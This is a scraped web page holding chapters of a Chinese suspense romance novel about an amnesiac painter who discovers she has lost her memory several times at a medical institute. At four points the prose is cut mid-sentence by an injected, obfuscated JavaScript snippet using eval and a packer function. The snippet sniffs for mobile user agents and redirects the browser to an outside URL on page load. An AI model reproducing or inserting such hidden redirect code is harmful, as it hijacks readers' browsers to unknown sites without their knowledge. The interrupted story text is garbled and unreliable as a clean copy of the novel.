浅枝心底一沉,说实话这段时间她虽然恐惧过,但从没有过被窥视的感觉,否则她不会安静地待在这里读信。不过当她阅读完这些文字后,突然就产生了一种感觉,似乎在某个角落里藏着一只眼睛,灵活的眼珠骨碌骨碌转着,似乎在寻找她还有别的什么东西。 当年的事果真有隐情。他到底有多自信呢,自信到以为她得知真相后一定会留下来。还有许新寒,卫执为什么会怀疑许新寒在密切关注自己的行程呢,这些危险会不会和他有关系?浅枝越想越不明白了,卫执出国前分明将自己拜托给了许新寒父母,他如果不信任他们,又怎么会做出这个选择呢? 她想起了在宴会上和阿乔的最后一次对话。 “为什么会选择书信?难道加密的邮件还不如它安全吗?” 阿乔只是笑着摇头:“在网络里,没有人能保证自己是最厉害的那一个,只要有痕迹,就会有信息。不是还有一句俗话吗?最危险的地方就是最安全的地方。” 没有办法了,她唯一能做的就是出国去找他。 阿乔只给浅枝留了一天的时间考虑,即使她已经下定了决心,她的心脏依旧忍不住发胀、颤动得厉害。知道真相的她真的会甘愿留在芬兰吗?要知道九年前的她分明选择了留下,既然当年能留下,现在的她也一定可以。 她再一次拿起了画笔,她想将许新寒画下来,只是一幅画结束,她的笔触依旧那么稚嫩。 看着画面上简约的线条和颜色,她忍俊不禁。许新寒不知道什么时候站在了她的身后,突然弯腰伸手抽走了她的画。 “许新寒,还给我。”她伸手就要去抢,却被许新寒圈在怀中。 “挺好看的,你要将它送给我吗?”新寒笑着看她。 浅枝一把夺过画塞到画册里,因为粗略的笔触而十分羞赧:“不行,这是我醒来给你画的第一幅肖像,虽然简陋了点吧,但怎么都得让我先收藏。你要的话,下次吧。” “好吧,那你什么时候给我再画一幅?” “不知道呢,”浅枝心虚地别过眼,“等我画技好了一些再说,我想送你好一点的。” 这句话很熟悉,许新寒一愣,陷入了小时的回忆。那个时候他们还只是五六岁的小孩子,卫浅枝也才拿画笔不久,不过她很有天赋,画的他倒是有七分模样。 “浅枝,你把我画得真好看,能送给我吗?”小新寒抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050039|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅枝桌上的画爱不释手。 “你动我的画,我不跟你玩了。”小浅枝愤愤地一把夺走画,仔细地摊在桌上抹平。 “对不起,我错了,你别不理我嘛,”小新寒期期艾艾地向她道歉,眼睛却一直盯着那张画像,“浅枝,我实在太喜欢了,什么时候能送我一幅呀?” 小浅枝得意地哼了一声,装作大佬一般扬起下巴,手上却轻抚画卷:“等我画技好一点了,再送你一幅更好的吧。” 二十多年仿佛只是一瞬间,但那些点点滴滴的瞬间他却铭记在心。因为太喜欢,所以珍视,所以记得她的一颦一笑。偶尔捕捉到那些熟悉的瞬间时,他都忍不住愣神。 浅枝在许新寒眼前挥了挥手:“在想什么呢,这么出神?” “在想我们的曾经。”许新寒一把抓住她的手,笑意盈盈。看着许新寒过分温柔的眼眸,她的笑意渐渐消减,想到明天的离别,一时间思绪纷杂。 对不起,新寒。虽然不告而别有些过分,但是你相信我,我会回来的。 许新寒并不像卫执说的那样监视她的行程,他们出门都是相互报备行程,所以浅枝有些怀疑卫执的判断。但是她仍不敢将这件事告诉许新寒,以他对自己的感情,他是绝对不会放自己离开的。 这天,她照常将房间收拾干净,然后和许新寒说要去研究院看望付宁安。许新寒不疑有他,只叮嘱她要注意安全。原以为自己会有不舍和恐慌,没想到真要出发的时候,她的内心却如此平静,甚至生出了些隐秘的、夹杂着放松和喜悦的情绪。 她乘坐的是一辆无人驾驶黄色卡地,道路畅通无阻,这个点没有堵车。九点半……她频繁查看时间,只要九点五十,她就可以到达机场,然后和阿乔会面。对方已经为她买好了机票,她只需要跨过那道栅栏,就能和阿乔一起离开。 她手中紧紧捏着那张全家福,将父亲的容貌紧紧刻在心里。她比对过以前新闻中的父亲照片,那些都是大多是母亲去世前留下的照片,和这张全家福的相貌没有多大变化。 周围突然爆发出一阵尖叫,浅枝偏头看去,只见一辆黑色的大卡车径直朝浅枝的卡地撞过来。紧急制动系统立即启动,安全气囊瞬间弹开,为浅枝护住了第一道冲击。 随着“嘭”的一声响,她亲眼看着车子被撞飞到空中,又翻滚了几个圈才摔倒在地。车身并无多少破坏,但落地时却是翻倒在地。一阵眩晕后,浅枝的视野就颠倒了过来,她紧紧抱着气囊,心脏几乎要跳出来。 迷迷糊糊中,她脑海中闪现出一副画面:一个年轻的姑娘仰面躺在地上,胸口处是一大片鲜血,她拼命瞪大着眼睛却没有一丝神采,渗血的嘴唇一张一合似乎在说着些什么。 “救……救我……”浅枝看着她死死扒着地面的手指慢慢松开,绝望的神情定格在她脸上。 是她!就是那道缠了她许久的沙哑女声。然而还没等她喊叫出声,她就晕了过去。 12. 幻觉 研究院某个房间内,浅枝迷迷糊糊醒来,就看见许新寒坐在床边,正一眨不眨地盯着自己,和她最初醒来时一模一样。 “又不记得我了吗?”许新寒伸手想要探她额头的温度。 浅枝眨了眨眼:“我没有失忆,新寒。” 然后她看见许新寒伸出的那只手停在了空中,他的眸中迸发出一丝亮光,随即盛满了双眼。 “真好。”他伸手抚上她的脸颊,仔细端详着,似乎在确认面前这个姑娘是不是真的她。 浅枝的大脑如同升级一般以片段的形式更新记忆,昏迷前的场景一幕幕浮现,她看见自己出了车祸,现场还死了一个姑娘。心虚、恐慌、后怕、绝望,无数的情绪从心底生出,缠绕在一起成为一团乱麻。 “你今天原本准备坐车去哪里?”许新寒问她。 出国,机场。她猛地从脑海中抽出最要紧的那根思绪,是了,她是要去机场的。阿乔说会等她二十分钟,但只有二十分钟,她抬手想看一眼时间,却发现表不在腕上。 “现在几点了?” “十二点三十一分。” 她错过了,这是发生车祸时就注定的结局。难过和失望的情绪从乱麻中被人拔出,不断生长上涌,很快就淹没了她的胸口、喉咙和大脑,她失神地望着天花板,什么都想不清楚。 得不到回答,许新寒眼中的亮光逐渐熄灭,换成了幽不见底的寂静深潭。 这时屋外叩门声,两名来录笔录的交警和罗谨微正站在门口。 “打扰了。”三人走进房间。许新寒和罗谨微交换了一个眼神,回头看了一眼浅枝后,转身离开房间。 房间内剩下两名交警和浅枝罗谨微四人,交警按例问询。 “我是九点一十出的门,坐的是一辆蓝色卡地……最后看的时间是九点三十一分,那个时候我听到有人在尖叫,然后是一辆棕红色的卡车朝我这边撞过来,然后我就晕了。”浅枝如实回答。 “是蓝色卡地和棕红色卡车?”交警又询问了一遍,“确定没有看错吗?” 为什么问我有没有看错,难道自己的记忆不对?浅枝又仔细回忆了一遍,确定自己没有记错。 见交警做完笔录准备离开,她终于忍不住问出口:“请问现场还有和我一样受伤的人吗?或者,有人死了吗?” 交警惊讶回头:“没有人死亡,你是不是还看见了什么?” “我看见一个姑娘好像也出了车祸,不过场景太模糊,她的长相我没有看清。”浅枝隐瞒了那道和梦中极为相似的声音,不科学,她想警察是不会信的。 两个交警对视一眼,都从对方神情中看到了震惊。 其实在之前的笔录中,他们就已经发现不对劲了。因为浅枝乘坐的分明是一辆黄色卡地,撞她的是一辆黑色卡车,这些都和她描述中的颜色不一样,更别提事故现场受伤的只有她一个人了。 两人应付完浅枝后,在门外询问罗谨微:“罗院长,如果她没有说谎的话,那么就是她的记忆出现了问题,这是怎么一回事?” 罗谨微叹息道:“她原本就有脑癌,虽然治愈了,但留下了失忆的后遗症。而且,如果一个人遭遇重大伤害,可能会出现视觉和听觉方面的紊乱,比如幻视幻听等,有的甚至可以将自己的形象投射到外部物体上,比如民间传闻中的‘灵魂出窍’。” “所以她这是出现幻觉了?” “嗯,这不是第一次了,对她来说是很常见的。”罗谨微一本正经地撒谎。 听了罗谨微的权威解释,两名交警也放下心来,整理好笔录后就离开了研究院。 自从录完笔录后,许新寒就不知道去了哪里,一天都没有出现,浅枝给他发消息也只是换来简单的应付。这让她想起了上次两人因为全家福产生的矛盾,她的心很不安:许新寒会因此对自己失望吗? 浅枝错过了去机场的时间,手里又没有乔的联系方式,尽管她和卫执发了信息,回信仍旧石沉大海。乔说过会等她一次,那是卫执的意思,现在很明显,卫执恐怕不相信她会来找自己了。 回国的机会错失交臂,对于浅枝来说,这是比见到许新寒失望更加难以接受的事。她不由得去想补救办法,如果没有了乔的引荐,她自顾自去了芬兰,父亲会见自己吗? 车祸并不严重,她也没有留下伤口,检查完身体后她就急匆匆地想回家。但是罗谨微留下了她,他说浅枝毕竟受了惊吓,出现心悸,需要留在研究院里休养。 她在研究院里待了三天,许新寒一次都没有出现过。罗谨微也是,只安排了人每天来房间记录下她的各项身体数据。浅枝心里记挂着昏迷前看到的那一幕,即使罗谨微告诉她那不过是一场幻觉,她还是托了人际关系广泛的陈凌帮自己调查,看看自己是否可能在以前看见过这样一场车祸。 蓝天上飘着厚厚的云层,看不见太阳,即使在初夏,天气也还算凉爽。浅枝坐在藤蔓秋千上思考今后的打算,当年的真相她是一定要弄清楚的,谁都不能阻挠她。 “卫小姐。”一道温和的男声打断了她的思绪,她抬头,是多日不见的罗谨微。他今天穿着一身简约的黑白休闲装,表情闲适。 “哦,是院长。”浅枝突然有片刻的怔愣,回过神后起身给他搬了一个小板凳。 “不用麻烦了,”罗谨微还是接过板凳坐了下来,看着她的神情有些担忧,“卫小姐这几天感觉怎么样,还有没有不适的地方?” 浅枝伸展着胳膊做了一下拉伸,又看向罗谨微:“挺好的,我觉得可以出院了。” “为什么着急出院?”罗谨微又问。 “在这里很无聊,”她抬起头,眯着一只眼追随漂浮的白云,“许新寒也不在。” 罗谨微陪她坐了一会儿,和她简单了聊了聊身体的恢复情况。不知道是不是她的错觉,浅枝感觉罗谨微似乎温柔了一些,也更有耐心去听她讲话,于是她又提到恢复记忆的事。 “快了,我正在研究针对你失忆的治疗方案。”罗谨微安慰道。 “谢谢院长。”浅枝客气微笑。 罗谨微察觉出浅枝的情绪变化,她似乎对自己更疏离了。他考虑了一会儿,从口袋里拿出一张照片递给她:“卫小姐,这个人你有印象吗?” “嗯?”浅枝疑惑接过照片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050040|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细打量。 是一张单人证件照,照片中是一个较为清秀的年轻姑娘。她扎着一个简约马尾辫,露出光洁的额头,一双眼睛黑白分明,正开心地笑着。不是客气礼貌的微笑,而是一种直达人心底的真诚笑意。 罗谨微一眨不眨地盯着浅枝,眼底正涌出一种名为期待的情绪,可在期待之外,似乎还有一点不易让人察觉的恐慌。 “她是谁?”浅枝捏着照片细细看着,似乎有一种既熟悉又陌生的感觉。 “她叫俞昭昭,是一名记者。”俞昭昭,她愣愣地咀嚼着这个名字,心中忽然泛起一阵难以言说的悲伤。 “我……”浅枝摇摇头,不知道该说些什么,半晌才抬起头看向罗谨微,“院长为什么给我看她的照片,我和她曾经认识吗?” 罗谨微只是叹了一口气:“她失踪了,我在找她。” “什么?”浅枝大惊,立即噼里啪啦开口,“她什么时候失踪的,在哪里失踪的?报警了吗?社会关系都排查了吗?” “呃,”罗谨微明显愣了半晌,“失踪很久了,报警了,还没找到。我现在只是在碰运气,希望能遇到见过她的人。” 浅枝神情忧郁:“这样说起来,我好像对她有一丝熟悉的感觉。或许我曾经真的见过她一面,不过只能等我记忆恢复才能想起来了。” 罗谨微勉强笑了笑,反倒安慰她:“也不一定见过,你别多想,先照顾好自己的身体。” 浅枝点点头,不多久罗谨微就以工作繁忙为由离开了花园,留下她一个人继续在花园里晃悠。她看着罗谨微的背影,总觉得他有了一些变化,但是具体又说不清楚。 虽然罗谨微以她身体还未恢复为由不肯告诉她更多关于俞昭昭的信息,她心里还是很在意,于是找了陈凌去调查。 得知浅枝出了车祸,陈凌又气又急,责怪她没事后为什么不第一时间给自己发信息,又嚷嚷着要立即飞回来看她。浅枝一通好说歹说才平复了陈凌的情绪,这才和她说起找人的事情来。 “没听过这个名字。”陈凌说,大概是一个没什么名气和资历的小记者。这一点浅枝也知道,罗谨微走后她就把这人查了个遍,同名同姓的也多,如果不是记者这一身份,她还真不好查。 俞昭昭,户籍终南市,本科学历,毕业于旬安大学。她毕业后就进了旬安日报社工作,到现在还是一个籍籍无名的普通记者。浅枝在网上找到了她写的一些文章,应该是一个文娱记者。说起来绘画也属于文娱类,文娱记者这份工作和自己倒是有几分关系,只是不知道自己曾经是不是见过她。 “我觉得可能性非常小,”陈凌说,“去年你去旬安的时候不是身患重病吗,哪有时间接受采访啊。” 浅枝感觉自己被陈凌说服了,但她还是请求陈凌帮忙找一下俞昭昭。 “好吧,晚点把资料发给你。对了,上次你说的那个车祸,我找人查了祝岭近一年的车祸记录,都没有相似的情况。如果不在祝岭,全国这么多城市,恐怕不太好查。” 浅枝有些失落,但又很快收拾好心情:“那就先不查车祸的事了,或许真的只是一个幻觉吧。” 13. 观星 晚上,浅枝草草看过新闻,正准备洗漱睡觉,这时门口突然传来付宁安的声音:“卫姐姐!” 浅枝疑惑地打开房门,只见付宁安还穿着实验室的衣服,应该是才下班。见浅枝看着她的衣服,付宁安连忙解释:“姐姐,这是我刚换的,干净的。” “我不是这个意思,”浅枝请她进房间,又给她倒了一杯水,“你怎么在这个点过来了?” “今天是我值班,院长说让我带你去看星星。”付宁安高兴地冲她笑,坐在椅子上轻轻摇晃着双腿,看起来十分开心。 浅枝有些惊讶,没想到罗谨微竟然有这样一个兴趣爱好,而且自己喜欢也就算了,还要别人也体验一回。 “走吧走吧,星星多好看啊,在屋子里要闷坏了。”宁安笑嘻嘻地挽着她的胳膊,将她拉出了门。浅枝抬头望向天空,夜空并不是纯粹的黑,有些偏紫,星星并不明显。 “这里看不清楚的啦,我带你去专门的观星天台。”宁安牵住她的手,快步走向绛河楼。浅枝的手有些凉,付宁安将她的手握了更紧了些。 付宁安一路快步带着她来到飞鹤楼的天台,一道一米宽的玻璃栈道向西南方向一路铺设到八角天台,那是绛河楼的最高层。天台周围用木制的雕花栏杆围着,看起来和绛河楼本身并不协调,像是后加上去的一样。 浅枝小心走在玻璃栈道上,低头瞧见栈道在点点星光的照耀下浮光跃动,竟然有漫步银河之感。 “听说这条栈道是院长的要求,这个设计妙吧。”付宁安有些得意。浅枝点头笑笑。 “看,大号望远镜!”付宁安拉着她走到一台大型望远镜前,“卫姐姐想看什么,银河还是月亮?” 浅枝仰头:“为什么是银河和月亮?” “院长说你可能会喜欢它们呀,嗯,一般人都会喜欢它们吧。”付宁安一边解释一边低头摆弄设备。 浅枝一时语塞:“你们不是医学研究院吗,怎么还研究天文?” “院长感兴趣呗,大家都是这么说的。而且这些观星设备是院长自己出的钱,所以没人说什么。” 浅枝眨巴着眼,斟酌了一下用词:“你们院长还挺浪漫。” “啊,卫姐姐说得对极了!”付宁安高兴地拍手,“你看那个花园就知道,我们院长是一个热爱生活的、浪漫的人,不然他怎么会同你们这种艺术家做朋友呢。” 浅枝闻言不由得失笑,她还没忘记百花节上罗谨微评价绢花是“死物”一类的言论。那时她觉得罗谨微是一个既不浪漫也不风趣的人,但现在她对他颇有改观。她想,如果自己还有绘画天赋,一定要画一张罗谨微坐在花园里看星星的画,送给他看看他什么反应。 付宁安兴冲冲地调试专业设备,又一步步指导浅枝使用望远镜。她为浅枝看见星辰而欢呼,又给她讲一些听来的有趣故事。 “在我们老家有个说法,如果在中秋晚上站在最高的山上,可以看到天上的星星坠落人间。如果红色星星坠入了一户人家,那么那户人家就会有人去世。如果是绿色星星,就代表着有新生儿出生。”付宁安握着双手放在胸前,虔诚地望着星空,似有祷告之意。 这个民间传说好像在哪里听到过,浅枝想,于是问付宁安:“宁安,我还没问过你,你是旬安人吗?” “不是,我家在终南市,来这里读大学,然后就留下来了,”付宁安偏头看向她,“我记得卫姐姐是祝岭人,听说祝岭市被祝岭江东西向贯穿,还形成了小岛屿呢。” 浅枝笑笑:“我倒是不如你了解得多。” 暮春的晚风仍有些凉,浅枝站在高楼上,感受着丝丝凉风,忽然捕捉到了高处不胜寒的一丝意味,不过不是身上的寒意,而是心里的。 “卫姐姐,”付宁安忽然喊她,“你应该去过很多地方吧。” 浅枝点点头,日记里确实有很多旅游的记录,远到极光雪原和天涯海角。那些照片拍得极为美丽,看着就让人心生向往,不过她的脑中空空如也,许新寒曾经答应过她,等她的病情稳定了,他们就把以前的路再走一遍。 听着浅枝简单的描述,付宁安眼中迸发出满是希望的光亮,随即又暗淡下来,只靠着栏杆,双手伸出楼外耷拉着。她的语气里颇有些遗憾:“在读大学之前,我一直在小镇子里,都没有出过市。现在读研也只能一直待在这里,都没有机会出去看看。” 浅枝心神微动,轻轻握住了她的手。如果有机会,她想带她一起出去看看。雪山草原戈壁大海,地球那么大,总有她们都喜欢的地方。 付宁安察觉出浅枝的安慰之意,开心地眨了眨眼:“卫姐姐,你知道吗?你给我的感觉好熟悉。” “嗯?什么时候?是怎样的感觉?”浅枝很好奇。这还是付宁安第一次谈及对她的印象,她一直知道付宁安很亲近自己,不过一个患者而已,她为什么会喜欢自己,浅枝以前不明白,但也没有主动开口。 “从你主动和我讲话的时候,”付宁安笑笑,“我想,有的人生来就是有让人亲近和喜欢的天赋,卫姐姐就是这样。” 浅枝被她的真诚夸赞宽慰到,一些郁郁不平似乎消减了不少。她很感激,这一路走来总有人在爱她。 度过了浪漫的观星时刻,她们又一起回去,最终在飞鹤楼分别。浅枝迈着轻快的步子回到房间,却没有注意到某个角落里正有一双窥视着她的眼睛。 “你说的那个俞昭昭已经失踪半年多了,现在是死是活都难说呢。唉,就算活着那大概率也是被拐卖了。” 入睡前陈凌给她发来了一份俞昭昭的详细资料。俞昭昭,25岁,于去年十月失踪,至今没有消息。她的家庭背景为工薪家庭,父母都是普通的国企职工,母亲健在,父亲于去年十月底溺水死亡。 同年同月,女儿失踪,父亲死亡,一个不忍目视的人间惨剧,浅枝不敢去想这对于一个家庭来说是多大的打击。她沉默地翻过一页页资料,总觉得心里空落落的,似乎永远失去了什么。 她看着俞昭昭的照片,那个明朗的笑容似乎还鲜活着,却又是真真切切失去了。如果她没有失踪,应该就是付宁安那个活泼自在的模样吧。 “你为什么这么在意她?”陈凌问。 “因为我总感觉,我好像在哪里见过她。”浅枝仔细回想着,这人确实给自己一种熟悉的感觉。和她比起来,钟简行带给自己的熟悉感简直不值一提。钟简行是一个很疏离陌生的人,她已经放弃找他了。 “真的吗?”陈凌语气激动,“浅枝你放心,我一定帮你找到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050041|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定她能帮你恢复记忆。” “不用这么期待啦,虽然我很不想她出事,但也不可否认有这样的概率。不管怎样,如果能见她一面是最好不过的了。” “我答应你,无论是死是活都让你见她一面。”陈凌语气坚决地同自己保证,听得浅枝心里感动无比。 第二天一早,浅枝正坐在房里看书,许新寒突然怒气冲冲闯了进来,一把将芯片丢在桌上。 “你找到了这个东西,为什么不告诉我?”许新寒冲她大吼。浅枝看见他眼底的怒火,她下意识后退了几步,却被许新寒一把抓住肩。 “许新寒,你放开我!”她用劲想挣脱他的桎梏,却发现他手指越掐越紧,似乎要刺穿自己的肩胛骨。 浅枝痛苦的神情触动了他的心,半晌,许新寒才从愤怒到失常的情绪中平静下来。但他漆黑的眼眸里依旧看不出多少情绪,反倒静得有些深沉,让浅枝不由发憷。浅枝紧紧地盯着他,他应该是看见芯片里的遗言视频了,可是自己现在分明好好的,他为什么如此生气呢? 她忽然想起了挖出全家福的那天,他也吼了自己。似乎他的每一次生气都同过去的自己有关,浅枝后知后觉地意识到,他在捍卫着什么。 许新寒尽力压抑着自己的呼吸,许久才平复下来。他最终松开浅枝,坐在沙发上沉默许久,淡淡吐出一句:“跟我回去。” “为什么?”浅枝皱眉。 “你又没有生病,留在研究院做什么?”许新寒的语气异常平静,这让浅枝的心里有些堵。 “院长昨天说让我再留院观察一段时间。” 许新寒瞥她一眼:“这样啊,你收拾好东西,我们现在就去找院长,我会带你回去的。” 浅枝忍不住大声:“许新寒,你今天发什么疯?你知道什么是医嘱?你知道院长有多忙吗?” “你质问我!你有什么资格质问我?”许新寒抬头冷冷地看着她,“你不是一直在欺骗我吗?芯片的事,出国的事,哪一桩你没有瞒着我?你在乎罗谨微忙不忙,那你在乎过我的感受吗?” “我……”面对许新寒冷静的质问,浅枝只觉得脑子很乱,她不知道该怎么回答他。 “你根本没有在乎过我,”许新寒斩钉截铁道,“如果你在乎我,这些事情你都会和我商量。我们已经是未婚夫妻的关系了,这么重要的事情你为什么要瞒着我?” 浅枝揉着肩膀,深吸一口气:“新寒,我不是故意要瞒你的。卡的视频你也见过了,是我的遗言,我现在活得好好的,根本用不着它。你看了视频除了回忆起以前的痛苦还有什么好处吗?至于出国,如果我说了,你会让我走吗?” “我不希望你出国。”许新寒平静看着她,仿佛不久前他的失态只是一种错觉。 浅枝一副了然的样子:“既然如此,你应该知道我的选择。” 许新寒扶额,一脸无奈:“你怎么敢相信他?当年你已经拒绝了他,而且这么多年过去了,连你重病在床,他都是一个字都没过问。这样的父亲,你怎么会相信他会去接你,还会告诉你真相?” 浅枝摇头:“我想知道,即使是万分之一的机会我也要知道。” “那如果我问你,真相和我你只能选择一个呢?” 14. 重复 浅枝没有回答。这样的问题对她来说毫无意义,以前和现在的自己已经给出了截然不同的答案,不是吗? 许新寒盯着她看了半晌,终于败下阵来:“好,我知道你的选择了。” 浅枝心头一跳,潜意识告诉她自己将要失去许新寒了,于是她急忙开口:“新寒,我想知道真相,但是我也从没想过抛弃你。等我知道一切后,我会回来的。如果你愿意等我的话——” “我不愿意。”许新寒立即打断了她,他的眼眶泛红,眼中已有泪光。浅枝有些怔愣,她从来没想过许新寒的反应会这么大,他既愤怒暴躁,同时又无奈悲伤。 “为什么?”浅枝追问。 许新寒定定地看着浅枝,眼里是不加掩饰的失望:“你说过永远不会去找卫伯父的。我和他,从一开始,就是你的二选一。” “可是我失忆了。” 听到失忆二字,许新寒像是被吓到一般突然瞪大了眼睛,他翕动着唇,神色慌张。浅枝皱眉看着许新寒,走上前拉住了他的手。 “你怎么了?”浅枝很担忧。她伸出手想拥抱他,却被许新寒一把推开。 “你别碰我!”许新寒冲她大吼了一句,急匆匆离开了房间。 浅枝颓靡地坐在床上,看着空荡荡的房间,她觉得自己好像做出了一个十分错误的决定,而许新寒已经被她的失忆和选择折磨到精神失常了。于是她给罗谨微发了信息,简要说了许新寒的情况,询问他有没有什么办法。 罗谨微现在应该在忙,没有时间回复她的消息。浅枝没在意,只是被许新寒这么一闹腾,没读完的书也看不下去了,她只能收拾好芯片后出门散心。 她对研究院已经很熟悉了,第一个想到的地方就是花园。她喜欢鲜花绿草,喜欢五彩纷呈,看着鲜艳的颜色她才觉得人生都充满了希望。 吴松正提了两桶水来浇花,看见浅枝一时愣在原地。 “你好,我是卫浅枝。”浅枝主动上前打招呼,吴松吓得急忙后退。他盯着浅枝,点点头,随即又摇摇头,弄得浅枝不明所以。 “你早就认识我对吗?”浅枝微笑着问他,语气尽可能地和善,“你想和我说什么呢?我都愿意听。” 吴松盯了她好久,最终放下水桶,走过来拉住了她的袖子,指了指研究院的东南方向。 浅枝顺着他的指向看过去:“那里是?” 吴松点点头,拉着她的袖子朝东南方向走去,浅枝不明白,但还是好奇地跟着他走。他们很快就看到一栋五层圆弧大楼,两人躲在一侧灌木丛后。 付宁安先从大楼正门走出,站在一旁的小门边探头向门内看,然后罗谨微从一扇伪装成墙的小门中走出,将一本书递给付宁安,又和她叮嘱了几句。付宁安点点头,转身离开。 两人的举止怎么有些奇怪?浅枝心想。 突然,罗谨微转头看向浅枝所在的方向。浅枝被吓了一跳,急忙往灌木后缩了缩身子。而后她才后知后觉地意识到自己的举动有些奇怪,为什么要躲起来呢?或者是,为什么怕被罗谨微发现呢? 终端又传来一阵振动,竟然是罗谨微的信息:“我知道了,我会找机会和许先生好好谈谈的,你不用担心。” 浅枝又瞟了一眼罗谨微的方向,连忙打字:“好的,谢谢院长。” 所幸罗谨微什么都没有发现,他只是随意地瞥了这边一眼,然后从另一个方向离开。吴松松了口气,急忙拉着浅枝离开灌木丛。 花园里,吴松在给植株浇水,浅枝站在一旁陪他,时不时将水桶提给他。吴松慌忙接过桶,唯恐她出了一点力气。 浅枝尴尬地撒开手,忍不住问他:“吴松,你是有什么话想告诉我吗?” 吴松看了她一眼,摇摇头。 “手术前我们应该见过的,而且我肯定还和你说了一些话。”浅枝试探道。 听到她的话,吴松果然动作一顿,面露纠结神色。浅枝见状心下了然,继续说道:“是和手术有关吗?” 吴松犹豫了一会儿,还是摇头。而后任凭浅枝对他好说歹说,他就是不肯透露半点信息。但是浅枝已经确定了,他一定知道些什么。只是他目前或许不太信任自己,所以才不肯说。 后面几天,浅枝天天来花园找吴松,而且执意要帮他给花浇水。吴松想要阻止,浅枝就问他手术前自己到底和他说了些什么。 吴松被她烦得不行,只好拿出手机打字给浅枝看:“你为什么一直要问我这个问题?” “因为我失忆了,我想知道以前发生的所有事。你对我的态度很奇怪,我想知道为什么。”浅枝的眼中有一股执拗和决绝。 “即使是不幸的事,你也想知道吗?”吴松又问。 “是,你告诉我,我当时到底和你说了什么?” 吴松还是太年轻,心里藏不住事,内心挣扎了好久,最终还是打了一行字:“你说:你好,我是卫浅枝。” “就这么简单?”这次轮到浅枝惊讶了,这不就是正常的招呼吗?为什么吴松会记得这么清楚,而且带自己去那栋楼呢? 吴松又接着打字:“你每次见我都会这样说。” 每次?浅枝立即捕捉到这个词,看这句话的意思,自己以前应该和吴松见过不止一次,而且每次都会打招呼。但一般来说人们只有第一次见面才会自我介绍,那自己为什么每次都要自我介绍呢? 除非,除非吴松每次都没有搭理过她,或者,她每次见到吴松都以为是第一次见面。浅枝心里有些忐忑了,因为吴松并不是不搭理人的性子,否则今天他大可以漠视自己。 “你还记得我说过几次吗?” 吴松打字:“包括这次在内,六次。” 浅枝没由来地紧张:“你是不是知道些什么?” 吴松这次纠结了很久,直到浅枝以为他不会回答自己时,他突然用手机打出几个字:“你每一次都在失忆。” 这话是什么意思?浅枝看着吴松手机上的那一行字,感觉脑子像是突然锈掉一般,她几乎读不懂这话的意思了。 吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050042|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松接着补充:“你不是三月份才醒的,之前你就已经醒过四次了,只是你不记得。” 浅枝思索了半晌才弄明白吴松的意思,其实她的手术早就成功了,远比三月份要早。在这次醒来前,她已经醒过好几次,但是因为某种原因又失去了记忆,然后再一次醒来。 吴松见浅枝明白过来,又急忙打字:“院长瞒着这件事肯定是有原因的,你可千万别说是我说的。” 浅枝回过神来,拍了拍吴松的肩:“谢谢你,我会保密的。” 有些恍惚,是一种陌生的割裂感。其实按照手术后遗症的解释也能说通,但她总觉得有一种虚伪隐藏其内。如果说她的记忆能够重启四五次,那她又怎么保证自己这一次不会再失忆呢? 又是重头再来,她又要再次追求当年事件的真相。不过唯一可以确认的是,她频繁失忆这件事只有研究院的人知道,或许许新寒也知道。 浅枝没有第一时间去质问他们,吴松今天带她偷看的举动分明在告诉她,许新寒和罗谨微在瞒着自己。是因为担心自己承受不住这样的真相吗? 不断的重复循环,无法预知的失忆,这确实是一件很可怕的事。如果知道自己的所作所为都只是注定的再来一次,那么当下追求的真相和情感又有什么意义呢? 浅枝自从看到遗言视频后就一直在记录日记,除了习惯使然外,她还想为以后的自己留下些什么。当意识到这一点的时候,她猛然想起了那幅水仙画。原来她从一开始就预见了一些东西,所以早早做好了准备。 这几天许新寒没有来烦她,她不是在拨弄着芯片就是在写日记。遗言的视频她看了好多遍,只能听出最后一句话暗藏深意。她想着还有没有地方是被她忽略的,然后很快意识到了视频里的背景。 